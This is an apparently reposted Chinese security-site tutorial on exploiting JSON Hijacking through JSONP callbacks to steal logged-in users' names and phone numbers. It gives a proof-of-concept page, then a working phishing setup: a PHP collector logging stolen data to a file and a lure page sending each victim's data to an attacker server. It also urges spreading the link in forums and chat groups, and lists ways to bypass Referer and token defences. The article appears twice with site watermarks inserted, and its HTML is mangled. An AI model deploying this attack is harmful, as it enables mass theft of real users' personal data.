欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

小学生都会挖掘的JSON Hijacking实战利用

来源: 作者: 时间:2019-02-24 21:00 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

JSON Hijacking漏洞的详细利用,有点类似与CSRF,不过原理利用方式不同,在这边文章我着重讲解json跨域劫持的利用环境搭建与方式。
0×01漏洞的挖掘
一般挖掘的过程中,burpsuite代理的History做寻找,过滤多余不可能存在漏洞的一些链接,如下图所示:

我们在返回包中json格式发现了如下的敏感信息(用户Id,用户名,用户手机号码)。

0×02漏洞的证明之poc
提交漏洞,poc在众测时要争分夺秒,所以这边用了最精简的一个POC。
假如返回的数据为:
txf({“data”:{“name”:”唐晓峰”}});
html>
head>
script>
function txf(a){
alert(a.data.name);
}
script>
script src=http://***.***.**/wm/User/getUserInfo?callback=txf>script>
body>
html>
即可如下弹窗:

0×03漏洞的利用之钓鱼
1.准备一台web服务器,我直接phpstudy搭的。
附上服务器端的代码
json.php
$nickname=$_GET['name'];
$fp = fopen('info.txt','a');
$flag = fwrite($fp, "名字:  ".$name."\r\n");
?>html>
钓鱼.html
head>    title>txftitle>script> var xmlhttp;    function txf(a)    {    xmlhttp=new XMLHttpRequest() var x="http://***.***.***/json.php?name="+a.data.name; xmlhttp.open("GET", x, true); xmlhttp.send(); }script>>script src=http://***.***.***?callback=txf>script>head>body> textarea>钓鱼啦,傻瓜textarea>>body>html>
把钓鱼链接http://***.***.***/钓鱼.html发给该网站已登陆的用户,如论坛,社区QQ群,社区贴吧等,服务端即可获取到大量用户敏感数据。
这边以hackone的一个项目为例:

0×04漏洞的修复与绕过
因为这个例子是小伙伴发过来的还没修复,所以都脱敏了,我们再从开发修复的角度去思考如何绕过修复。
1.Referer白名单
子域名绕过,文件名绕过,空Referer绕过
2.增加token认证
token足够复杂或者服务端加密,我们无法绕过,如果token很简单,如纯数字,我们可以尝试遍历绕过
3.接口禁用
无敌的操作,无法绕过
总结:
非常有意思的一个劫持,以前没有利用过,只是知道有这么个东西,一般众测或者项目上遇到我都是直接截图,申明一波敏感信息泄露,然后就结束了,很低危,这次实战利用之后,稍微提高了一点逼格。
 

JSON Hijacking漏洞的详细利用,有点类似与CSRF,不过原理利用方式不同,在这边文章我着重讲解json跨域劫持的利用环境搭建与方式。
0×01漏洞的挖掘
一般挖掘的过程中,burpsuite代理的History做寻找,过滤多余不可能存在漏洞的一些链接,如下图所示:

我们在返回包中json格式发现了如下的敏感信息(用户Id,用户名,用户手机号码)。

0×02漏洞的证明之poc
提交漏洞,poc在众测时要争分夺秒,所以这边用了最精简的一个POC。
假如返回的数据为:
txf({“data”:{“name”:”唐晓峰”}});

www.wnhack.com


html>
head>
script>
function txf(a){
alert(a.data.name);
}
script>
script src=http://***.***.**/wm/User/getUserInfo?callback=txf>script>
body>
html>
即可如下弹窗:

0×03漏洞的利用之钓鱼
1.准备一台web服务器,我直接phpstudy搭的。
附上服务器端的代码
json.php
$nickname=$_GET['name'];
$fp = fopen('info.txt','a');
$flag = fwrite($fp, "名字:  ".$name."\r\n");
?>html>
钓鱼.html
head>    title>txftitle>script> var xmlhttp;    function txf(a)    {    xmlhttp=new XMLHttpRequest() var x="http://***.***.***/json.php?name="+a.data.name; xmlhttp.open("GET", x, true); xmlhttp.send(); }script>>script src=http://***.***.***?callback=txf>script>head>body> textarea>钓鱼啦,傻瓜textarea>>body>html>

copyright 无奈人生


把钓鱼链接http://***.***.***/钓鱼.html发给该网站已登陆的用户,如论坛,社区QQ群,社区贴吧等,服务端即可获取到大量用户敏感数据。
这边以hackone的一个项目为例:

0×04漏洞的修复与绕过
因为这个例子是小伙伴发过来的还没修复,所以都脱敏了,我们再从开发修复的角度去思考如何绕过修复。
1.Referer白名单
子域名绕过,文件名绕过,空Referer绕过
2.增加token认证
token足够复杂或者服务端加密,我们无法绕过,如果token很简单,如纯数字,我们可以尝试遍历绕过
3.接口禁用
无敌的操作,无法绕过
总结:
非常有意思的一个劫持,以前没有利用过,只是知道有这么个东西,一般众测或者项目上遇到我都是直接截图,申明一波敏感信息泄露,然后就结束了,很低危,这次实战利用之后,稍微提高了一点逼格。
  本文来自无奈人生安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。